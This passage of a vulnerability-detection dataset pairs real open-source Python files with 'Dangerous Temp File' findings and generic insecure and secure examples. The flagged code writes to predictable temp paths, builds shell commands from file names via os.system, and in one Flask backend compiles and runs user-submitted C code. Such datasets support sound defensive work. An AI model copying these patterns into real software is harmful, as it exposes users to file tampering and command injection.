SlackApiError\nimport sys\nimport logging\nimport slack\n\n\nclass Slackalert:\n \"\"\"To send cost report on slack.\"\"\"\n def __init__(self, channel=None, slack_token=None):\n self.channel = channel\n self.slack_token = slack_token\n logging.basicConfig(level=logging.WARNING)\n self.logger = logging.getLogger()\n\n def get_resource_list(self, resource_name, resource_info, resource_header, resource_list, resource_savings):\n \"\"\"Returns all the idle resource information in a dictionary format.\"\"\"\n resource_list.insert(0, resource_header)\n resource_info[resource_name] = {}\n resource_info[resource_name]['Resources'] = resource_list\n resource_info[resource_name]['Savings'] = resource_savings\n return resource_info\n\n def slack_alert(self, resource_info, account_name, total_savings):\n \"\"\"Creates a txt file which contains the cost report and sends to the slack channel.\"\"\"\n try:\n client = slack.WebClient(token=self.slack_token)\n\n f = open(\"/tmp/cost_optimization_report.txt\", \"w+\")\n\n for res in resource_info.keys(): \n #Converts resource info dictionary to tabular format.\n f.write('\\n' + 'Resource: ' + res + '\\n')\n resource_table = tabulate(resource_info[res]['Resources'][1:],\n headers=resource_info[res]['Resources'][0], tablefmt=\"grid\",\n disable_numparse=True)\n f.write('\\n' + resource_table + '\\n \\n' + 'Savings: $' + str(resource_info[res]['Savings']) + '\\n')\n f.close()\n response = client.files_upload(\n file='/tmp/cost_optimization_report.txt',\n initial_comment='Cost Optimization Report | ' + account_name + ' | Total Savings: $' + str(total_savings),\n channels=self.channel\n )\n print(\"Sending the Cost Optimization report to slack \"+ self.channel)\n\n except SlackApiError as e:\n \"\"\"You will get a SlackApiError if \"ok\" is False.\"\"\"\n assert e.response[\"ok\"] is False\n assert e.response[\"error\"] \n \"\"\"str like 'invalid_auth', 'channel_not_found'.\"\"\"\n self.logger.error(\"Slack api error: {e.response['error']} | Error in slack_send.py\")\n sys.exit(1)\n\n except Exception as e:\n self.logger.error(\n \"Error on line {} in slack_send.py\".format(sys.exc_info()[-1].tb_lineno) + \" | Message: \" +\n str(e))\n sys.exit(1)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 29, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "003877baec766fc24cec347e6f6745de2c2c94b438d5db6292a7d00ade794a25", "license": {"spdx": ["MIT"], "repo": "aminPial/Overwatch-Streaming-Automation", "path": "core.py", "repo_head_hexsha": "5d382e979980e99cebadd802eef999601833dc48", "stack_hexsha": "6fd6455ab81b55e483148e73eb93742490544d5f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 44, "entireCode": "import argparse, time, os, cv2, shutil, datetime, math, subprocess, pickle, multiprocessing\nfrom actn import *\n\nap = argparse.ArgumentParser()\n\n# for help -> python alpha.py --help\n\nap.add_argument(\"-f\", \"--file\", required=True,\n help=\"name of the file\")\nap.add_argument(\"-o\", \"--output\", required=True,\n help=\"specifiy the folder path of output\")\nap.add_argument(\"-b\", \"--before\", required=True,\n help=\"seconds to cut before\", type=int)\nap.add_argument(\"-a\", \"--after\", required=True,\n help=\"seconds to cut after\", type=int)\n\nargs = vars(ap.parse_args())\n\n\nclass core_overwatch():\n\n def __init__(self, file_name, output_folder, before, after):\n\n self.file_name = file_name\n self.output_folder = output_folder\n self.before = before\n self.after = after\n\n if not os.path.exists(str(self.output_folder)):\n print(\"The File Path Doesn't Exist!\")\n print(\"[++++++]Creating the Folder in Path {0}\".format(output_folder))\n os.makedirs(\"{0}\".format(self.output_folder))\n print(\"[++++++]Finished Making The Folder in Path {0}\".format(output_folder))\n\n try:\n fh = open('{0}'.format(self.file_name), 'r')\n\n except FileNotFoundError:\n print(\"[+++++++]The Video File Not Found In Path.Please Try Again\")\n\n cmd1 = \"ffmpeg -i {0} 2>&1 | sed -n \\\"s/.*, \\(.*\\) fp.*/\\\\1/p\\\"\".format(self.file_name)\n\n os.system(cmd1 + ' > tmp1')\n self.fps = int(open('tmp1', 'r').read())\n\n os.system(\n \"\"\" ffprobe -v error -select_streams v:0 -show_entries stream=nb_frames -of default=nokey=1:noprint_wrappers=1 {0} > tmp2 \"\"\".format(\n self.file_name\n ))\n self.frame_count = int(open('tmp2', 'r').read())\n\n print('[++++++]fps', self.fps)\n print('[++++++]frame count', self.frame_count)\n # get imp vid inf\n\n def build_folder(self):\n\n folder_names = ['./raw_calc', './raw_calc/frame_db_temp']\n\n for directory in folder_names:\n if not os.path.exists(str(directory)):\n os.makedirs(str(directory))\n\n # if exists then delete all the files in that dir tree\n\n def which_frame_formula(self):\n\n second_length = 1\n chunk_size = round(self.fps * second_length) # fps*second_length\n\n assert type(chunk_size) is int, \"Chunk Size must have to be Integer Type\"\n\n # upto which frame the ops will execute(for loop to extract one frame from chunk size )\n n = round(round(self.frame_count) / chunk_size)\n\n start_frame = round(self.fps / 2)\n\n common_diff = round(self.fps * second_length) # * second length,taking 1F/60\n\n return start_frame, n, common_diff\n\n def select_frame(self, a, n, d):\n # arithmetic series y=a+(p-1)*d\n\n which_frame_list = [a + (p - 1) * d for p in range(1, n + 1)]\n\n return which_frame_list\n\n def read_save_frame(self):\n\n os.system(\"ffmpeg -hide_banner -loglevel panic -i {video_Fname} -vf fps=1 {f_name}/%d.png\".format(\n\n f_name='./raw_calc/frame_db_temp', video_Fname=str(self.file_name)\n ))\n\n def get_action_process_multithreaded_cmd_run_commands(self):\n\n img_list = ['./raw_calc/frame_db_temp/{0}'.format(x) for x in os.listdir('./raw_calc/frame_db_temp')]\n img_list.sort(key=lambda fx: int(''.join(filter(str.isdigit, fx))))\n\n az = return_text(img_list)\n\n return az\n\n # utils function start here -3\n\n def _dbl(self, time):\n if time < 10:\n return '0' + str(time)\n else:\n return str(time)\n\n def time_cut(self, input_in_sec):\n\n times = []\n hours = 0\n minutes = 0\n seconds = 0\n\n hours = input_in_sec // 3600\n minutes = (input_in_sec % 3600) // 60\n seconds = (input_in_sec % 3600) % 60\n\n return \"{}:{}:{}\".format(core_overwatch._dbl(self, hours), core_overwatch._dbl(self, minutes),\n core_overwatch._dbl(self, seconds))\n\n def findIndices(self, sequence, _str, extra=0): # 0011\n assert len(sequence) < len(_str), \"Sequence is Greater Than the Main String\"\n indices = []\n for i in range(len(_str) - len(sequence) + 1):\n temp = _str[i:i + len(sequence)]\n if (sequence == temp):\n indices.append(i + 2 - extra)\n\n return indices\n\n # utils fx ends here\n\n def action_index_find(self, raw_list, which_frame):\n\n raw_str_hashed = ''\n\n for j in raw_list:\n raw_str_hashed += str(j)\n\n assert type(raw_str_hashed) is str, \" The parameter to find Indices Type must have to be a String\"\n\n result_list = core_overwatch.findIndices(self, '01', raw_str_hashed, extra=1)\n\n final_result = []\n\n for yx in result_list:\n final_result.append(int(which_frame[yx]))\n\n return final_result\n\n def build_frame_range_to_cut(self, action_result):\n\n # print(action_result)\n\n # input will be taken ->cp from raw code\n frames = round(self.frame_count)\n fps = round(self.fps)\n\n bef = int(self.before) * fps # count frm\n\n aft = int(self.after) * fps\n\n # frame range (tuple ds) contained list\n\n frame_range = []\n\n # build condition for after and before trimming\n\n for ucv in action_result:\n\n if int(ucv) < bef and aft < frames:\n\n frame_range.append((0, ucv + aft))\n\n elif int(ucv) < bef and aft > frames:\n\n frame_range.append((0, frames))\n\n elif int(ucv) > bef and aft < frames:\n\n frame_range.append((ucv - bef, ucv + aft))\n\n elif int(ucv) > bef and aft < frames:\n\n frame_range.append((ucv - bef, frames))\n\n # (temp) test\n\n return frame_range\n\n def build_output(self, start, end, video_name, file_name, end1):\n\n os.system(\n 'ffmpeg -hide_banner -loglevel panic -ss {st} -i {ivfname} -to {ed} -c copy {ovfname}'.format(st=start,\n ed=end1,\n ivfname=self.file_name,\n ovfname=video_name))\n\n file_ = open('{}'.format(file_name), 'w')\n file_.write('Start at : {sec} \\n End at : {sec1} '.format(sec=start, sec1=end))\n file_.close()\n\n def send_frame_signal(self, frame_range):\n\n # frame range is like [(0,21),(4,198)]\n\n assert type(frame_range) is list, \"Frame range must have to be a list\"\n\n fps = round(self.fps)\n\n # build video file path name\n\n ax = str(datetime.datetime.now())\n tm = ax[0:10] + '_' + ax[11:]\n\n file_n_ = str(self.output_folder + '/' + str(tm))\n\n os.makedirs(file_n_)\n\n video_type = os.path.splitext(os.path.basename(str(self.file_name)))[1] # output e.g as .mp4\n\n for ux in range(len(frame_range)):\n start = core_overwatch.time_cut(self, input_in_sec=math.ceil(frame_range[ux][0] / fps))\n end = core_overwatch.time_cut(self, input_in_sec=math.ceil(frame_range[ux][1] / fps))\n end1 = core_overwatch.time_cut(self, input_in_sec=math.ceil(\n (frame_range[ux][1] / fps) - (frame_range[ux][0] / fps)))\n\n print('[++++++]Start at {0} End at {1}'.format(start, end))\n\n core_overwatch.build_output(self, start=str(start),\n end=str(end),\n video_name=file_n_ + '/output{vid_number}{type_v}'.format(vid_number=ux,\n type_v=video_type),\n file_name=file_n_ + '/output{0}.txt'.format(ux),\n end1=end1\n )\n\n print(\"Total {0} Videos have been cut from Main Video\".format(len(os.listdir(file_n_))/2))\n\n\nif __name__ == \"__main__\":\n a = core_overwatch(file_name=str(args['file']), output_folder=str(args['output']), before=int(args['before']),\n after=int(args['after']))\n\n a.build_folder()\n\n start_frame, n, common_diff = a.which_frame_formula() # returns a,n,d\n c = a.select_frame(start_frame, n, common_diff) # returns which_frame_list\n\n st = time.time()\n print(\"[+++++]Reading Frames....\")\n a.read_save_frame()\n print(\"[+++++++]Finished Reading Frames\")\n\n print(\"[+++++++]Image Processing Rolling....\")\n d = a.get_action_process_multithreaded_cmd_run_commands()\n print(\"[++++++++]Finished Processing Images\")\n\n f = a.action_index_find(raw_list=d, which_frame=c) # return list to start aft and bef(action first observed)\n g = a.build_frame_range_to_cut(f)\n\n a.send_frame_signal(frame_range=g)\n\n print('[++++++]Time req to run The Engine is {0}m'.format((time.time() - st) / 60))\n\n print('Deleting temp folders..')\n shutil.rmtree('./raw_calc/frame_db_temp')\n os.remove('./tmp1')\n os.remove('./tmp2')", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 44, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "63656450c5c64a6a40a4f594d66de3745866c4ef1a0b87285f974101e84baa02", "license": {"spdx": ["MIT"], "repo": "BouncyButton/places-simulator", "path": "maps.py", "repo_head_hexsha": "a1f5fc385750af9968cc3c6216ba20f5de4719fd", "stack_hexsha": "1278169f69007b0aff65ad2222788f61228ad8d6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 50, "entireCode": "import googlemaps\nimport secret\nfrom datetime import datetime\nimport requests\nimport pickle\nimport time\n\ngmaps = googlemaps.Client(key=secret.PLACES_API_KEY)\n# lat = 45.411400\n# lon = 11.887491\n\ncoordinates = [\n (45.411400, 11.887491), # torre archimede\n (45.409218, 11.877915), # piazza garibaldi\n (45.407698, 11.873351), # piazza dei signori\n (45.401403, 11.880813), # basilica di sant'antonio\n]\n\n\n# def find_places():\n# results = gmaps.places_nearby(location=(lat, lon), type='bar', radius=500)\n# print(len(results))\n# return results\n\n\ndef find_places():\n place_types = ['bar|restaurant|cafe|night_club']\n f = open('maps_data.pickle', \"rb\")\n data = pickle.load(f)\n # data = dict()\n # data['requests'] = []\n\n f.close()\n\n for lat, lon in coordinates:\n for place_type in place_types:\n url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?\" \\\n \"location={1},{2}&radius=500&type={3}&key={0}\".format( # &keyword=xxx\n secret.PLACES_API_KEY, lat, lon, place_type)\n\n execute_request(url, data)\n\n print(\"Retrieved {0} item(s).\".format(len(data['requests'])))\n\n save_changes(data)\n return data\n\n\ndef save_changes(data):\n f = open('maps_data_tmp.pickle', \"wb\")\n\n pickle.dump(data, f)\n f.close()\n\n import os\n os.replace(\"maps_data_tmp.pickle\", \"maps_data.pickle\")\n\n\ndef execute_request(url, data):\n r = requests.get(url)\n if r.status_code == 200:\n pass\n else:\n print(\"Errore: \", r.status_code)\n raise r.status_code\n\n for item in r.json()['results']:\n if item['place_id'] not in [place['place_id'] for place in data['requests']]:\n data['requests'].append(item)\n\n if r.json().get('next_page_token') is not None \\\n and r.json()['next_page_token'] is not None \\\n and r.json()['next_page_token'] != \"\":\n time.sleep(5) # need to wait a bit..\n print(\"new page!\")\n execute_request(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?pagetoken={0}&key={1}\".format(\n r.json()['next_page_token'], secret.PLACES_API_KEY), data)\n # else:\n # print(r.json(), \"non ha next_page_token\")\n return r.json()\n\n\ndef reinitialize_data():\n f = open('maps_data.pickle', \"wb\")\n\n data = dict()\n data['requests'] = []\n\n pickle.dump(data, f)\n\n f.close()\n\n\ndef read_data():\n f = open('maps_data.pickle', \"rb\")\n data = pickle.load(f)\n\n # for item in data['requests']:\n # print(item['name'])\n print(\"Found {0} places.\".format(len(data['requests'])))\n\n return data\n\n\ndef get_details(place_id, data):\n url = \"https://maps.googleapis.com/maps/api/place/details/json?place_id={0}&fields=address_component,adr_address,\" \\\n \"business_status,formatted_address,geometry,icon,name,photo,place_id,plus_code,type,url,utc_offset,vicinity,\" \\\n \"formatted_phone_number,international_phone_number,opening_hours,website,price_level,rating,review,\" \\\n \"user_ratings_total&key={1}&language=it\".format(\n place_id, secret.PLACES_API_KEY)\n\n r = requests.get(url)\n if r.status_code == 200:\n pass\n else:\n print(\"Errore: \", r.status_code)\n raise r.status_code\n\n data['details'][place_id] = r.json()\n\n\ndef fill_details(data):\n if data.get('details') is None:\n data['details'] = dict()\n\n ids = [place['place_id'] for place in data['requests']]\n for place_id in ids:\n if data['details'].get(place_id) is None: # risparmio call, \"cache\"?\n get_details(place_id, data)\n\n save_changes(data)\n\n\ndef word2vec_analysis(labels, weights=None, N=4, translate=True):\n import gensim\n import numpy as np\n\n print(\"loading dataset...\")\n model = gensim.models.KeyedVectors.load_word2vec_format('GoogleNews-vectors-negative300.bin.gz', binary=True)\n print('dataset loaded :)')\n\n if translate:\n\n def find_longest_word(word_list):\n longest_word = max(word_list, key=len)\n return longest_word\n\n from googletrans import Translator\n translator = Translator()\n labels_en = []\n new_weights = []\n for label, weight in zip(labels, weights):\n translated = translator.translate(label, dest='en').text\n longest = find_longest_word(translated.split(\" \"))\n try:\n _ = model[longest]\n labels_en.append(longest)\n new_weights.append(weight)\n except KeyError:\n continue\n\n print(\"Starting labels: \", labels)\n print(\"Translated labels: \", labels_en)\n\n labels = labels_en\n\n # labels = ['cat', 'dog', 'mouse', 'lately', 'seldom', 'somehow', 'this', 'pencil', 'suitcase', 'pen']\n\n X = np.array([model[label] for label in labels])\n print(X.shape)\n\n kmeans_analysis(X, labels, new_weights, N)\n\n\ndef kmeans_analysis(X, labels, weights=None, N=5):\n from sklearn.cluster import KMeans\n import numpy as np\n kmeans = KMeans(n_clusters=N, random_state=0).fit(X, sample_weight=weights)\n # labels[X.tolist().index(x)[0]]\n clusters = [[] for x in kmeans.cluster_centers_]\n for i, label in enumerate(kmeans.labels_):\n clusters[label].append((labels[i], X[i]))\n\n for cluster, cluster_center in zip(clusters, kmeans.cluster_centers_):\n label_center = None\n for point in cluster:\n if (point[1] == cluster_center).all():\n label_center = point[0]\n # else:\n # print(point[1], cluster_center)\n\n print(\"Cluster has {0} item(s):\".format(len(cluster)))\n for point in cluster:\n print(point[0])\n\n\ndef text_analysis(data):\n precorpus = []\n for item in data['details'].values():\n if item['result'].get('reviews') is not None:\n reviews = item['result']['reviews']\n reviews_text = [x['text'] for x in reviews]\n for text in reviews_text:\n precorpus.append(text)\n\n print(\"Found {0} reviews\".format(len(precorpus)))\n import re\n\n # nltk.download('stopwords')\n from nltk.corpus import stopwords\n from nltk.stem.porter import PorterStemmer\n from nltk.tokenize import RegexpTokenizer\n # nltk.download('wordnet')\n from nltk.stem.wordnet import WordNetLemmatizer\n\n ##Creating a list of stop words and adding custom stopwords\n try:\n stop_words = set(stopwords.words(\"italian\"))\n except LookupError:\n import nltk\n nltk.download('wordnet')\n nltk.download('stopwords')\n stop_words = set(stopwords.words(\"italian\"))\n\n # Creating a list of custom stopwords\n # Creato dopo analisi grafica di word1.png\n\n new_words = [\"bar\", \"molto\", \"ottimo\", \"locale\", \"posto\", \"ben\", \"volta\", \"po\", \"più\", \"sempre\", \"padova\", \"ottimi\",\n \"poco\", \"ottima\"]\n stop_words = stop_words.union(new_words)\n\n corpus = []\n for t in precorpus:\n # Remove punctuations\n text = re.sub('[^a-zA-Zùàèé]', ' ', t)\n\n # Convert to lowercase\n text = text.lower()\n\n # remove tags\n text = re.sub(\"</?.*?>\", \" <> \", text)\n\n # remove special characters and digits\n text = re.sub(\"(\\\\d|\\\\W)+\", \" \", text)\n\n ##Convert to list from string\n text = text.split()\n\n ##Stemming\n ps = PorterStemmer()\n # Lemmatisation\n lem = WordNetLemmatizer()\n text = [lem.lemmatize(word) for word in text if not word in\n stop_words]\n text = \" \".join(text)\n corpus.append(text)\n\n # Word cloud\n from os import path\n from PIL import Image\n from wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\n import matplotlib.pyplot as plt\n\n wordcloud = WordCloud(\n background_color='white',\n stopwords=stop_words,\n max_words=100,\n max_font_size=50,\n random_state=42\n ).generate(str(corpus))\n print(wordcloud)\n\n fig = plt.figure(1)\n plt.imshow(wordcloud)\n plt.axis('off')\n # plt.show()\n # plt.close()\n fig.savefig(\"word1.png\", dpi=900)\n\n return wordcloud.words_\n\n\nd = read_data()\nocc = text_analysis(d)\nword2vec_analysis(occ.keys(), list(occ.values()), N=12, translate=True)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 50, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "941a58070246007ab88b12aa32f9e88548d5e7a979093af544a3582e34a50b7a", "license": {"spdx": ["BSD-3-Clause"], "repo": "CMU-IDS-2020/fp-profiler", "path": "backend/app.py", "repo_head_hexsha": "45edb7c5f5dfcf34854057476558793bc877f031", "stack_hexsha": "3f3edf95fac5cc6b31cb7effd1e2b59006a53ab6", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 35, "entireCode": "from flask import Flask, request\nimport os\nfrom subprocess import Popen, PIPE\nimport json\n\nfrom prof_file_util import load_source, load_line_profile, load_graph_profile\nfrom linewise_barchart import linewise_barchart\nfrom valgrind import extract_valgrind_result\nfrom mem_issue_visualize import mem_issue_visualize\n\napp = Flask(__name__)\n\n@app.route('/upload-file', methods = ['POST'])\ndef hello():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n 'node_json': ...\n 'edge_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -g -pg {} -o prog 1> gcc_output 2>&1'.format(local_path))\n # handle compiling error\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('./prog')\n os.system('ctags --fields=+ne -o - --sort=no {} 1> ctags_output 2>&1'.format(local_path))\n os.system('gprof --graph prog gmon.out 1> graph_file 2>&1')\n os.system('gprof -l prog gmon.out 1> linewise_file 2>&1')\n\n '''\n Now we have the outputs. Visualize and pass it back to the frontend.\n '''\n # for debug purpose. Only linux can host grof so far.\n ret_dict['error'] = 0\n if os.path.isfile('linewise_file') and os.path.getsize('linewise_file') > 0\\\n and os.path.isfile('graph_file') and os.path.getsize('graph_file') > 0:\n df = load_line_profile(local_path, 'linewise_file')\n chart = linewise_barchart(df)\n # chart.save('new.json')\n '''\n TODO: Maybe the temporary files should be cleared or\n stored somewhere serving as history data.\n '''\n ret_dict['vega_json'] = json.loads(chart.to_json())\n graph_dct = load_graph_profile('graph_file')\n if graph_dct:\n for k, v in graph_dct.items():\n ret_dict[k] = v\n else:\n ret_dict['vega_json'] = json.load(open('test.json', 'r'))\n # print(uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n\n return ret_dict\n\n@app.route('/mem-profile', methods = ['POST'])\ndef mem_profile():\n '''\n shall return a json dict\n if succeeds, \n {\n 'error': 0,\n 'vega_json': ...\n ...\n }\n if fails,\n {\n 'error': 1,\n 'source': formatted source code,\n 'error_message': the compile failure message\n }\n '''\n code = request.get_json()['code']\n # print(code)\n local_path = 'temp.c' # TODO: hash file names to handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -pedantic -g {} -o exec 1> gcc_output 2>&1'.format(local_path))\n\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('valgrind ./exec > valgrind.txt 2>&1')\n uninitialised_buffer, invalid_write_buffer = extract_valgrind_result('other', 'valgrind.txt')\n os.system('valgrind --leak-check=full ./exec > valgrind_leak.txt 2>&1')\n mem_leak_dic = extract_valgrind_result('memory_leak', 'valgrind_leak.txt')\n\n\n ret_dict['error'] = 0\n vega_chart = mem_issue_visualize(local_path, uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n ret_dict['vega_json'] = json.loads(vega_chart.to_json())\n\n return ret_dict\n\n ", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 35, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "a6bf20fa4355789b1a6884e6c2970dd88e373b474d3849b8a618d013f604cc33", "license": {"spdx": ["MIT"], "repo": "ManuelLobo/IBEnt", "path": "src/other/other/features/tests.py", "repo_head_hexsha": "2ea885770a843f30224920d1bf6f6381fdf98c4c", "stack_hexsha": "6825ecd07438de3cfbf3309ee1fabb498392216d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 22, "entireCode": "import glob\nimport random\nimport os\nimport subprocess\nimport time\nimport argparse\nimport codecs\nimport logging\n\n\ndef brown_clusters(crf):\n #num_clusters -> param c\n #num_col -> param ncollocs\n #min_occur -> param min-occur\n #crf -> stanford or crfsuite\n\n final_results = open(\"src/other/features/brown_clusters.txt\", \"w\") #TSV result, num_clusters, num_colls, min_occur\n num_clusters_values = [82]\n #num_col_values = [3]\n min_occur_values = [3]\n\n output = open(\"bin/temp/full_corpus.txt\", \"w\")\n lines = []\n for file in glob.glob(\"corpora/hpo/all/hpo_corpus_text/\" + \"*\"):\n line = open(file, \"r\").read()\n lines.append(line)\n\n for line in lines:\n output.write(str(line) + \"\\n\")\n\n output.close()\n\n #subprocess.os.chdir(\"bin/geniass/\")\n #subprocess.call([\"bin/geniass/geniass\", \"bin/temp/full_corpus.txt\", \"bin/temp/full_corpus_separated.txt\"])\n #subprocess.os.chdir(\"bin/brown-cluster/\")\n os.system(\"(cd bin/geniass/; ./geniass ../temp/full_corpus.txt ../temp/full_corpus_separated.txt)\")\n\n i = 0\n for clu in num_clusters_values:\n #for col in num_col_values:\n for occ in min_occur_values:\n i += 1\n os.system(\"(cd bin/brown-cluster/; ./wcluster --text ../temp/full_corpus_separated.txt --c {} --min-occur {} --output_dir ../temp/clusters)\".format(str(clu), str(occ))) # str(col) --ncollocs {}\n os.system(\"cp bin/temp/clusters/paths data/\")\n\n #subprocess.call([\"cp\", \"bin/temp/clusters/paths\", \"data/\"])\n f_measure = get_results(crf)\n logging.info(\"cluster test {}\".format(str(i)))\n final_results.write(str(f_measure) + \"\\t\" + str(clu) + \"\\t\" + str(occ) + \"\\n\")# + str(col) + \"\\n\")\n\n final_results.close()\n\n\ndef get_results(crf):\n os.system(\"python src/main.py train --goldstd hpo_train --models models/hpo_train --entitytype hpo --crf {}\".format(crf))\n os.system(\"python src/main.py test --goldstd hpo_test -o pickle data/results_hpo_train --models models/hpo_train --entitytype hpo --crf {}\".format(crf))\n os.system(\"python src/evaluate.py evaluate hpo_test --results data/results_hpo_train --models models/hpo_train --entitytype hpo --rules andor stopwords small_ent twice_validated stopwords gowords posgowords longterms small_len quotes defwords digits lastwords\")\n results = open(\"data/results_hpo_train_report.txt\").readlines()[:6]\n precision = float(results[4].split(\": \")[1])\n recall = float(results[5].split(\": \")[1])\n f_measure = (2.0*precision*recall) / (precision + recall)\n return f_measure\n\ndef main():\n #Test Boolean Stanford NER Features\n #os.system(\"python src/other/features/bool_feature_selection.py\")\n\n #Test Boolean Stanford NER Features\n #os.system(\"python src/other/features/numerical_feature_selection.py\")\n\n #Test Brown Clustering -> Around 20 hours with current values.\n brown_clusters(\"crfsuite\")\n\nif __name__ == \"__main__\":\n main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 22, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "f23d9efa095ba573d6e3d05f39eb5dd06730c263f86b8082846edcad0a3bc08b", "license": {"spdx": ["Apache-2.0"], "repo": "ziyoujiyi/PaddleRec", "path": "models/treebased/data/data_generator.py", "repo_head_hexsha": "bcddcf46e5cd8d4e6b2c5ee8d0d5521e292a2a81", "stack_hexsha": "8c782d841174638d4e67981a99536a71f3cb70d3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 117, "entireCode": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport time\nimport numpy as np\nimport sys\nimport os\n\nimport argparse\nimport json\nimport random\nimport 